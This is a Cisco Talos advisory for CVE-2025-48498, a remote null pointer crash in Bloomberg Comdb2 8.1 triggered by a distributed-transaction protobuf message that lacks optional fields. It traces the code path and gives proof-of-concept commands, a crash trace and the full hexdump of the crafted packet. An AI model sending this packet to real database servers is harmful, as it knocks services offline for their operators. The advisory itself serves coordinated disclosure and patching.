CVE-2025-48498
A null pointer dereference vulnerability exists in the Distributed Transaction component of Bloomberg Comdb2 8.1 when processing a number of fields used for coordination. A specially crafted protocol buffer message can lead to a denial of service. An attacker can simply connect to a database instance over TCP and send the crafted message to trigger this vulnerability.
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
Bloomberg Comdb2 8.1
Comdb2 - https://bloomberg.github.io/comdb2/
7.5 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CWE-476 - NULL Pointer Dereference
Comdb2 is an open source, high-availability database that is developed by Bloomberg. It supports features such as clustering, transactions, snapshots, and isolation. The implementation of the database utilizes optimistic locking for concurrent operation.
The Comdb2 database system is based on two major services. The first service, pmux
, is a port multiplexer that is used to dynamically assign port numbers for different instances of the database. This service is implemented via a plaintext protocol and can be queried to identify the TCP port number that a specific database is listening on. The second service is the native comdb2
binary and is run for each instance of the desired database. The comdb2
binary is responsible for registering an available instance to the port multiplexing service. Communication with a Comdb2 instance is primarily handled by exchanging data with the client using the Google’s Protocol Buffers data format over a TCP session.
During startup, the comdb2
binary will execute the following function to assign callbacks that will be dispatched depending on the command initial command that is sent. Thus, when receiving a newline-delimited “newsql” string, the handle_newsql_request_evbuffer
function will be called at [1] in response.
plugins/newsql/newsql_evbuffer.c:1275-1282
static int newsql_init(void *arg)
{
dispatch_base = get_dispatch_event_base();
Pthread_create(&gethostname_thd, NULL, gethostname_fn, NULL);
add_appsock_handler("newsql\n", handle_newsql_request_evbuffer); // [1]
add_appsock_handler("@newsql\n", handle_newsql_admin_request_evbuffer);
return 0;
}
Then, when receiving a connection from a client the following accept_info_new
function will be called. At [2], a new event that calls the do_read
function will be created and dispatched to when the socket fd
is ready for reading.
net/net_evbuffer.c:848-866
static struct accept_info *accept_info_new(netinfo_type *netinfo_ptr, struct sockaddr_in *addr, int fd, int secure,
int badrte)
{
check_base_thd();
if (pending_connections > max_pending_connections) {
close_oldest_pending_connection();
}
++pending_connections;
struct accept_info *a = calloc(1, sizeof(struct accept_info));
a->netinfo_ptr = netinfo_ptr;
a->ss = *addr;
a->fd = fd;
a->secure = secure;
a->badrte = badrte;
a->ev = event_new(base, fd, EV_READ, do_read, a); // [2]
event_add(a->ev, NULL);
TAILQ_INSERT_TAIL(&accept_list, a, entry);
return a;
}
The implementation of the do_read
function is basically a wrapper that reads a newline-delimited string from the socket fd
prior to decoding the protocol buffer required to communicate with the client. First, the do_appsock_evbuffer
function will be called at [3]. This function will process the “appsock” part of the protocol by extracting all the characters at [4], until encountering a newline. At [5], the implementation will check that the string “newsql” was found within the data read from the socket and follow it with another check that sets pbadrte
to 1 and returns if the string “rte “ was found at the beginning. Once those tests have been verified, the entire newline-delimited string will be used at [6] to determine the correct handler callback to use for the rest of the protocol which will then get dispatched at [7].
net/net_evbuffer.c:2912-2949
static void do_read(int fd, short what, void *data)
{
check_base_thd();
struct accept_info *a = data;
struct evbuffer *buf = evbuffer_new();
ssize_t n = evbuffer_read(buf, fd, SBUF2UNGETC_BUF_MAX);
...
uint8_t first_byte;
evbuffer_copyout(buf, &first_byte, 1);
if (first_byte == 0) {
evbuffer_drain(buf, 1);
a->buf = buf;
rd_connect_msg_len(fd, 0, a);
return;
}
...
if ((do_appsock_evbuffer(buf, &ss, fd, 0, secure, &badrte)) == 0) // [3] \
return;
if (badrte)
accept_info_new(netinfo_ptr, &ss, fd, secure, 1);
else
handle_appsock(netinfo_ptr, &ss, first_byte, buf, fd);
}
\
net/net_evbuffer.c:2864-2910
static int do_appsock_evbuffer(struct evbuffer *buf, struct sockaddr_in *ss, int fd, int is_readonly, int secure,
int *pbadrte)
{
struct appsock_info *info = NULL;
struct evbuffer_ptr b = evbuffer_search(buf, "\n", 1, NULL); // [4] Search buffer until newline encountered
...
if (b.pos != -1) {
char key[b.pos + 2];
evbuffer_copyout(buf, key, b.pos + 1);
key[b.pos + 1] = 0;
if (secure && strstr(key, "newsql") == NULL) { // [5] ensure that "newsql" is in line.
logmsg(LOGMSG_ERROR, "appsock '%s' disallowed on secure port\n", key);
return 1;
}
if (strcmp(key, "rte ") == 0) { // [5] ensure that "rte " is in line.
evbuffer_read(buf, fd, -1);
evbuffer_free(buf);
ssize_t rc = write(fd, "0\n", 2);
if (rc == 2 && pbadrte)
*pbadrte = 1;
return 1;
}
info = get_appsock_info(key); // [6] Look up the key that was read.
}
if (info == NULL) return 1;
...
evtimer_once(arg->base, info->cb, arg); /* handle_newsql_request_evbuffer */ // [7] Dispatch to handle_newsql_request_evbuffer
return 0;
}
After finding the correct “appsock” handler and dispatching to it, the following function, handle_newsql_request_evbuffer
, will be called. This function is responsible for signalling the gethostname_cond
condition at [8] which will result in activating the gethostname_fn
function. Afterwards at [9], the “libevent” library will be used to dispatch to the newsql_setup_clnt_evbuffer
function. At the end of the newsql_setup_clnt_evbuffer
function at [10], the implementation will finally call the rd_hdr
function to begin reading the information sent by the client.
plugins/newsql/newsql_evbuffer.c:1261-1266
static void handle_newsql_request_evbuffer(int dummyfd, short what, void *data)
{
struct appsock_handler_arg *arg = data;
arg->admin = 0;
gethostname_enqueue(arg); // [8] Signal a condition
}
\
plugins/newsql/newsql_evbuffer.c:1251-1259
static void gethostname_enqueue(struct appsock_handler_arg *arg)
{
gettimeofday(&arg->start, NULL);
Pthread_mutex_lock(&gethostname_lk);
TAILQ_INSERT_TAIL(&gethostname_list, arg, entry);
++gethostname_ctr;
Pthread_cond_signal(&gethostname_cond); // [8] Signal "gethosname_cond" \\
Pthread_mutex_unlock(&gethostname_lk);
}
\\
plugins/newsql/newsql_evbuffer.c:1208-1249
static void *gethostname_fn(void *arg)
{
int max_pending = 8;
struct timeval start, last_report;
gettimeofday(&last_report, NULL);
comdb2_name_thread("gethostname");
while (1) {
Pthread_mutex_lock(&gethostname_lk);
if (TAILQ_EMPTY(&gethostname_list)) {
Pthread_cond_wait(&gethostname_cond, &gethostname_lk); // [8] Block on "gethostname_cond" condition
}
...
evtimer_once(arg->base, newsql_setup_clnt_evbuffer, arg); // [9] \ Dispatch into newsql_setup_clnt_evbuffer
}
}
\
plugins/newsql/newsql_evbuffer.c:1139-1200
static void newsql_setup_clnt_evbuffer(int fd, short what, void *data)
{
struct appsock_handler_arg *arg = data;
...
newsql_setup_clnt(clnt);
plugin_set_callbacks_newsql(evbuffer);
if (add_appsock_connection_evbuffer(clnt) != 0) {
exhausted_appsock_connections(clnt);
free_newsql_appdata_evbuffer(-1, 0, appdata);
} else {
rd_hdr(-1, 0, appdata); // [10] read header
}
free(arg);
}
The function, rd_hdr
, is then responsible for initially reading the header for the entire packet. The structure of the header is composed of four 32-bit integers that are encoded in network byte order. At [11], the length of data that is available for the socket is verified that it has enough space to include the header structure, newsqlheader
. After reading enough data from the socket, each field of the header structure will be converted to the host byte order before being used at [12]. Once the length from the header is decoded at [13], the rd_hdr
function will call rd_payload
at [14] to decode the protocol buffer that comes after the newsqlheader
.
cdb2api/cdb2api.c:948-953
struct newsqlheader {
int type;
int compression;
int state; /* query state */
int length;
};
plugins/newsql/newsql_evbuffer.c:888-910
static void rd_hdr(int dummyfd, short what, void *arg)
{
struct newsqlheader hdr;
struct newsql_appdata_evbuffer *appdata = arg;
if (evbuffer_get_length(appdata->rd_buf) >= sizeof(struct newsqlheader)) {
goto hdr; // [11] check length before reading the header.
}
...
hdr:
evbuffer_remove(appdata->rd_buf, &hdr, sizeof(struct newsqlheader));
appdata->hdr.type = ntohl(hdr.type); // [12] Decode the type from the newsqlheader
appdata->hdr.compression = ntohl(hdr.compression); // [12] Decode the compression type (unused) from the newsqlheader
appdata->hdr.state = ntohl(hdr.state); // [12] Decode the state from the header (unused)
appdata->hdr.length = ntohl(hdr.length); // [13] Decode the protocol buffer length
rd_payload(-1, 0, appdata); // [14] Read the protocol buffer payload
}
The following function, rd_payload
, is directly responsible for decoding a protocol buffer that was sent by the client. This function is similar to rd_hdr
in that it checks the length of data that is available and then proceeds to read the contents of its payload from socket. At [14], the length that was read earlier from the header is used with the evbuffer_pullup
function at [15] to read the entire serialized protocol buffer data into the query
variable of type CDB2QUERY
. At [16], this populated structure is then passed to the process_newsql_payload
function.
plugins/newsql/newsql_evbuffer.c:860-886
static void rd_payload(int dummyfd, short what, void *arg)
{
CDB2QUERY *query = NULL;
struct newsql_appdata_evbuffer *appdata = arg;
if (evbuffer_get_length(appdata->rd_buf) >= appdata->hdr.length) {
goto payload;
}
...
payload:
if (appdata->hdr.length) {
int len = appdata->hdr.length; // [14] get length from header.
void *data = evbuffer_pullup(appdata->rd_buf, len); // [15] read entire packet from client
if (data == NULL || (query = cdb2__query__unpack(&pb_alloc, len, data)) == NULL) {
newsql_cleanup(appdata);
return;
}
evbuffer_drain(appdata->rd_buf, len);
}
process_newsql_payload(appdata, query); // [16] process deserialized protocol buffer
}
The implementation of the process_newsql_payload
function is directly responsible for reading a query that is submitted by a client. This is done by using the “type” field from the header to determine the query request type and dispatch to the correct function. Specifically, the process_cdb2query
function is called at [17] to process a query request.
plugins/newsql/newsql_evbuffer.c:839-858
static void process_newsql_payload(struct newsql_appdata_evbuffer *appdata, CDB2QUERY *query)
{
rem_lru_evbuffer(&appdata->clnt); /* going to work; not eligible for shutdown */
switch (appdata->hdr.type) {
case CDB2_REQUEST_TYPE__CDB2QUERY:
process_cdb2query(appdata, query); // [17] process the actual query
break;
case CDB2_REQUEST_TYPE__RESET:
newsql_reset_evbuffer(appdata);
evtimer_once(appdata->base, rd_hdr, appdata);
break;
case CDB2_REQUEST_TYPE__SSLCONN:
process_ssl_request(appdata);
break;
default:
logmsg(LOGMSG_ERROR, "%s bad type:%d fd:%d\n", __func__, appdata->hdr.type, appdata->fd);
newsql_cleanup(appdata);
break;
}
}
The following function, process_cdb2query
contains the logic that is responsible for decoding the CDB2QUERY
type into its corresponding fields from the protocol buffer sent by the client. At [18] and [19], the implementation will dereference the “disttxn” and “dbinfo” fields from the protocol buffer. If neither of these fields have been included, the implementation will then pass the entire query to the process_query
function at [20].
plugins/newsql/newsql_evbuffer.c:707-732
static void process_cdb2query(struct newsql_appdata_evbuffer *appdata, CDB2QUERY *query)
{
if (!query) {
newsql_cleanup(appdata);
return;
}
CDB2DISTTXN *disttxn = query->disttxn; // [18] Dereference the "disttxn" field of the protocol buffer
CDB2DBINFO *dbinfo = query->dbinfo; // [19] Dereference the "dbinfo" field of the protocol buffer
if (!dbinfo && !disttxn) {
appdata->query = query;
process_query(appdata); // [20] Process the "query" field of the protocol buffer
return;
}
if (dbinfo) { // [19] Process the "dbinfo" field of the protocol buffer
if (dbinfo->has_want_effects && dbinfo->want_effects) {
process_get_effects(appdata);
} else {
process_dbinfo(appdata);
}
}
if (disttxn) { // [18] Process the "disttxn" field of the protocol buffer
process_disttxn(appdata, disttxn);
}
cdb2__query__free_unpacked(query, &pb_alloc);
}
The following is a description of the CDB2DISTTXN
protocol buffer message that is referenced by the “disttxn” field. In this message at [21] is an optional field, “disttxn”, that contains a value of the nested Disttxn
protocol buffer message at [22]. The Disttxn
protocol buffer message contains only three required fields with the rest being treated as optional. If an optional field is not included, the deserialization of the protocol buffer will either set the field’s value to NULL
or clear a flag so that an implementer can know that the field was not included.
message CDB2_DISTTXN {
required string dbname = 1;
message Disttxn { // [22] "Disttxn" protocol buffer message
required int32 operation = 1;
required bool async = 2;
required string txnid = 3;
optional string name = 4;
optional string tier = 5;
optional string master = 6;
optional int32 rcode = 7;
optional int32 outrc = 8;
optional string errmsg = 9;
}
optional Disttxn disttxn = 2; // [21] "disttxn"
}
When processing the “disttxn” field from the CDB2QUERY
type, the following process_disttxn
function will be used. This function will use the “operation” field found in the CDB2DISTTXN
protocol buffer to determine the case that will be responsible for performing an operation. To trigger this denial-of-service, the “PREPARE” operation will be used which will result in using some of the optional fields from the CDB2DISTTXN
protocol buffer with the osql_prepare
function at [23].
plugins/newsql/newsql_evbuffer.c:633-705
static void process_disttxn(struct newsql_appdata_evbuffer *appdata, CDB2DISTTXN *disttxn)
{
struct evbuffer *buf = sql_wrbuf(appdata->writer);
CDB2DISTTXNRESPONSE response = CDB2__DISTTXNRESPONSE__INIT;
int rcode = 0;
if (!bdb_amimaster(thedb->bdb_env) || bdb_lock_desired(thedb->bdb_env)) {
rcode = -1;
goto sendresponse;
}
switch (disttxn->disttxn->operation) {
/* Coordinator master tells me (participant master) to prepare */
case (CDB2_DIST__PREPARE): // [23] case that calls "osql_prepare"
rcode = osql_prepare(disttxn->disttxn->txnid, disttxn->disttxn->name, disttxn->disttxn->tier,
disttxn->disttxn->master);
break;
...
}
...
}
The following snippet is the implementation of the osql_prepare
function that is used for the “PREPARE” operation specified by the CDB2DISTTXN
protocol buffer. This function was called with optional fields according to the definition of the Disttxn
protocol message. When a protocol buffer with an optional field is serialized into a structure, either a has_
prefixed structure member or the existence of a NULL
pointer will be used to specify that the field was not included. Thus, at [24] when the implementation attempts to strdup
its parameters correlating to the optional “dbname”, “tier”, and “master” fields, the standard strdup
function will dereference a NULL
pointer which will terminate the comdb2
binary causing a denial-of-service.
db/osqlsession.c:312-363
int osql_prepare(const char *dist_txnid, const char *coordinator_dbname, const char *coordinator_tier,
const char *coordinator_master)
{
int dispatch = 0, rc;
unsigned long long rqid;
uuid_t uuid;
if ((rc = osql_sanction_disttxn(dist_txnid, &rqid, &uuid, coordinator_dbname, coordinator_tier,
coordinator_master)) == 0) {
logmsg(LOGMSG_INFO, "%s: coordinator beat participant prepare dist-txn %s\n", __func__, dist_txnid);
return 0;
}
...
sess->coordinator_dbname = strdup(coordinator_dbname); // [24] make a copy of the database name
sess->coordinator_tier = strdup(coordinator_tier); // [24] make a copy of the "tier" field
sess->coordinator_master = strdup(coordinator_master); // [24] make a copy of the "master" field
...
return handle_buf_sorese(sess);
}
In the following snippet, the proof of concept is being run against the database that is listening on localhost.
$ python poc.zip -t localhost
enumerating services from localhost via pmux...
discovered 1 service:
[1] comdb2/replication/testdb : tcp/19000
selected service at index 1 : {'port': '19000', 'name': 'comdb2/replication/testdb'}
The following is the output of the process when running the proof-of-concept.
bdb_open_int line 6103 calling rep_start as master with egen 432
new_master_callback_int: master:.invalid->ce66cbfc0193 old-gen:0->432 old-egen:0->433
I AM NEW MASTER NODE ce66cbfc0193
Collecting table aliases
user authentication disabled (bdberr: 15)
DBA user 'dba' already exists
hostname:ce66cbfc0193 cname:ce66cbfc0193
I AM READY.
AddressSanitizer:DEADLYSIGNAL
=================================================================
==7294==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f5207268f9d bp 0x7b51f418d3f0 sp 0x7b51f418cb98 T10)
==7294==The signal is caused by a READ memory access.
==7294==Hint: address points to the zero page.
#0 0x7f5207268f9d in __strlen_avx2 (/lib64/libc.so.6+0x148f9d) (BuildId: 3b8c8c659881d430486b1a3fc3f4fdc46f03102b)
#1 0x7f5207a4b3a8 in strlen.part.0 (/lib64/libasan.so.8+0x4b3a8) (BuildId: 3e2f75b0e15e9c6aaa28cf1565c7bd0a29f62936)
#2 0x000000e36e3a in comdb2_strdup /comdb2/mem/mem.c:1054
#3 0x0000004d88c9 in comdb2_strdup_bdb /comdb2/build/bdb/mem_bdb.h:34
#4 0x0000004d88c9 in osql_sanction_disttxn /comdb2/db/disttxn.c:2207
#5 0x0000005a9c41 in osql_prepare /comdb2/db/osqlsession.c:319
#6 0x000001148a8b in process_disttxn /comdb2/plugins/newsql/newsql_evbuffer.c:647
#7 0x000001148a8b in process_cdb2query /comdb2/plugins/newsql/newsql_evbuffer.c:729
#8 0x000001148a8b in process_newsql_payload /comdb2/plugins/newsql/newsql_evbuffer.c:844
#9 0x000001148a8b in rd_payload /comdb2/plugins/newsql/newsql_evbuffer.c:885
#10 0x0000011479fa in rd_hdr /comdb2/plugins/newsql/newsql_evbuffer.c:909
#11 0x7f520790b3c7 in event_process_active_single_queue (/lib64/libevent_core-2.1.so.7+0x1a3c7) (BuildId: 7afd9d1a3e72c3dab994f68587fa8e8f1ab1da06)
#12 0x7f520790d22e in event_base_loop (/lib64/libevent_core-2.1.so.7+0x1c22e) (BuildId: 7afd9d1a3e72c3dab994f68587fa8e8f1ab1da06)
#13 0x000000e3d3f6 in net_dispatch /comdb2/net/net_evbuffer.c:551
#14 0x7f5207a290c5 in asan_thread_start(void*) (/lib64/libasan.so.8+0x290c5) (BuildId: 3e2f75b0e15e9c6aaa28cf1565c7bd0a29f62936)
#15 0x7f5207190f13 in start_thread (/lib64/libc.so.6+0x70f13) (BuildId: 3b8c8c659881d430486b1a3fc3f4fdc46f03102b)
#16 0x7f5207213aab in __GI___clone3 (/lib64/libc.so.6+0xf3aab) (BuildId: 3b8c8c659881d430486b1a3fc3f4fdc46f03102b)
==7294==Register values:
rax = 0x0000000000000000 rbx = 0x0000000000000000 rcx = 0x00007d620608e228 rdx = 0x0000000000000000
rdi = 0x0000000000000000 rsi = 0x0000000000000000 rbp = 0x00007b51f418d3f0 rsp = 0x00007b51f418cb98
r8 = 0x00000facc0c09c40 r9 = 0x00000facc0c0a6a0 r10 = 0x0000000000000002 r11 = 0x00007d620608e22e
r12 = 0x0000000000000000 r13 = 0x00007da20602ded8 r14 = 0x00007b51f107bac0 r15 = 0x00007d620608e168
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib64/libc.so.6+0x148f9d) (BuildId: 3b8c8c659881d430486b1a3fc3f4fdc46f03102b) in __strlen_avx2
Thread T10 created by T0 here:
#0 0x7f5207ade6f2 in pthread_create (/lib64/libasan.so.8+0xde6f2) (BuildId: 3e2f75b0e15e9c6aaa28cf1565c7bd0a29f62936)
#1 0x000000e3d739 in init_base_priority /comdb2/net/net_evbuffer.c:575
#2 0x000000e64332 in setup_bases /comdb2/net/net_evbuffer.c:3429
#3 0x000000e6462b in init_event_net /comdb2/net/net_evbuffer.c:3466
#4 0x000000e64f66 in add_host /comdb2/net/net_evbuffer.c:3601
#5 0x000000e77808 in net_init /comdb2/net/net.c:2892
#6 0x00000091f514 in dbenv_open /comdb2/bdb/file.c:3000
#7 0x00000091f514 in bdb_open_int /comdb2/bdb/file.c:5979
#8 0x000000926bd3 in bdb_open_env /comdb2/bdb/file.c:6255
#9 0x00000052f555 in open_bdb_env /comdb2/db/glue.c:3846
#10 0x000000435c98 in init /comdb2/db/comdb2.c:4120
#11 0x000000408d4e in main /comdb2/db/comdb2.c:5836
#12 0x7f52071235f4 in __libc_start_call_main (/lib64/libc.so.6+0x35f4) (BuildId: 3b8c8c659881d430486b1a3fc3f4fdc46f03102b)
#13 0x7f52071236a7 in __libc_start_main@@GLIBC_2.34 (/lib64/libc.so.6+0x36a7) (BuildId: 3b8c8c659881d430486b1a3fc3f4fdc46f03102b)
#14 0x00000040dfb4 in _start (/opt/bb/bin/comdb2+0x40dfb4) (BuildId: 8d0c440e812314bc39238a8b7148054ba5811f3b)
==7294==ABORTING
In order to run the proof-of-concept, a database instance must be created in order to run the comdb2
service. The database will then be registered into the pmux
service when it starts up.
After everything is loaded, the pmux
service listens on port 5105 by default. This service allows one to query a list of the databases that have been registered and determine their port number.
To use the proof-of-concept, Python must be available. The proof-of-concept has two variations of connecting to the target database. The first variation connects to the pmux
service and picks the first database that is available. This is selected using the “–pmux” option followed by the hostname that the pmux
service is listening on. The following command line connects to the pmux service at “hostname” using the default port (5105/tcp).
$ python poc.zip --pmux hostname
The second variation will connect directly to the database port and requires the user to specify the database name using the “-b” parameter. The following command line will connect to the database named “testdb” at “hostname” on port 19000.
$ python poc.zip -b testdb hostname:19000
When running the first variation of the proof-of-concept, a client will likely query the pmux
service to determine the port number associated with a database instance. The pmux
service is a plain-text and newline-delimited protocol. The following 5-byte packet requests the pmux
service to list all of the ports that are being used by databases.
[0] <instance pmux.command<char_t> 'unnamed_7faf5b36b4d0'> {unnamed=True} (5) 'used\n'
Afterwards, the pmux
service will respond with the list of database instances that are available. If one database named “testdb” is currently instantiated, the response will look like the following.
[0] <instance pmux.newlined<char_t> 'unnamed_7faf4b7bc230'> {unnamed=True} (44) 'port 19000 name comdb2/replication/testdb\n'
Once the port number for the target database instance has been determined, the proof-of-concept will send a header that is used to encapsulate a protocol buffer message. This header has the following format. Within the header, only the 32-bit “type” field is used. This type can be 1, 2, 3, 108, or 121. The proof-of-concept triggers this vulnerability by setting the “type” to 1.
<class comdb2.newsql_request_header> 'header'
[0] <instance be(comdb2.sqlquery.CDB2RequestType) 'type'> CDB2QUERY(0x1)
[4] <instance be(comdb2.int) 'compression'> 0x00000000 (0)
[8] <instance be(comdb2.int) 'state'> 0x00000000 (0)
After the header, a 32-bit length field will be sent along with the protocol buffer payload. This has the following layout.
<class comdb2.newsql_request> 'unnamed_7faf4b7be630' {unnamed=True}
[0] <instance comdb2.newsql_request_header 'header'> type=CDB2QUERY(0x1) : compression=0x00000000 : state=0x00000000
[c] <instance be(comdb2.int) 'length'> 0x0000005f (95)
[10] <instance protobuf.MESSAGE 'payload'> protobuf.TAGVALUE[1] "\x22\x5d\x0a\x06\x74\x65\x73\x74\x64\x62\x12\x53\x08\x01\x10\x00\x1a\x20\x5b\x67\x75\x50\x64\x7d\x70\x5d\x45\x25\x55\x75\x66\x21\x6d\x4f\x66\x7e\x78\x2a\x22\x57\x35\x75\x36\x48\x7b\x58\x46\x45\x32\x55\x2a\x20\x24\x33\x75\x51\x48\x44\x2e\x35\x35\x2c\x36\x3e\x71\x3a\x74\x76\x58\x74\x2c\x35\x64\x3f\x3b\x74\x64\x5d\x4d\x73\x5b\x61\x6e\x37\x32\x09\x6c\x6f\x63\x61\x6c\x68\x6f\x73\x74"
[6f] <instance ptype.block 'extra'> ...
The protocol buffer payload has the following format. In the CDB2_DISTTXN
protocol message, the optional fields which can be used to trigger the vulnerability are the “Disttxn.name”, “Disttxn.tier” and “Disttxn.master” fields. If any of these fields are missing from the protocol buffer message, then this vulnerability is being triggered.
comdb2/protobuf/sqlquery.proto:143-148
message CDB2_QUERY {
optional CDB2_SQLQUERY sqlquery = 1;
optional CDB2_DBINFO dbinfo = 2;
optional string spcmd = 3;
optional CDB2_DISTTXN disttxn = 4;
}
comdb2/protobuf/sqlquery.proto:43-53
enum CDB2Dist {
PREPARE = 1;
DISCARD = 2;
PREPARED = 3;
FAILED_PREPARE = 4;
COMMIT = 5;
ABORT = 6;
PROPAGATED = 7;
HEARTBEAT = 8;
}
comdb2/protobuf/sqlquery.proto:127-142
message CDB2_DISTTXN {
required string dbname = 1;
message Disttxn {
required int32 operation = 1;
required bool async = 2;
required string txnid = 3;
optional string name = 4;
optional string tier = 5;
optional string master = 6;
optional int32 rcode = 7;
optional int32 outrc = 8;
optional string errmsg = 9;
}
optional Disttxn disttxn = 2;
}
The following is a hexdump of the entire packet being sent to “localhost” for the database instance “testdb”. The transaction id is composed of 32 random bytes. The “Disttxn.name” field is the optional field that is missing.
00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 5f ..............._
10 22 5d 0a 06 74 65 73 74 64 62 12 53 08 01 10 00 "]..testdb.S....
20 1a 20 5b 67 75 50 64 7d 70 5d 45 25 55 75 66 21 . [guPd}p]E%Uuf!
30 6d 4f 66 7e 78 2a 22 57 35 75 36 48 7b 58 46 45 mOf~x*"W5u6H{XFE
40 32 55 2a 20 24 33 75 51 48 44 2e 35 35 2c 36 3e 2U* $3uQHD.55,6>
50 71 3a 74 76 58 74 2c 35 64 3f 3b 74 64 5d 4d 73 q:tvXt,5d?;td]Ms
60 5b 61 6e 37 32 09 6c 6f 63 61 6c 68 6f 73 74 [an72.localhost
2025-06-02 - Initial Vendor Contact
2025-06-05 - Vendor Disclosure
2025-06-10 - Vendor Patch Release
2025-07-22 - Public Release
Discovered by a member of Cisco Talos.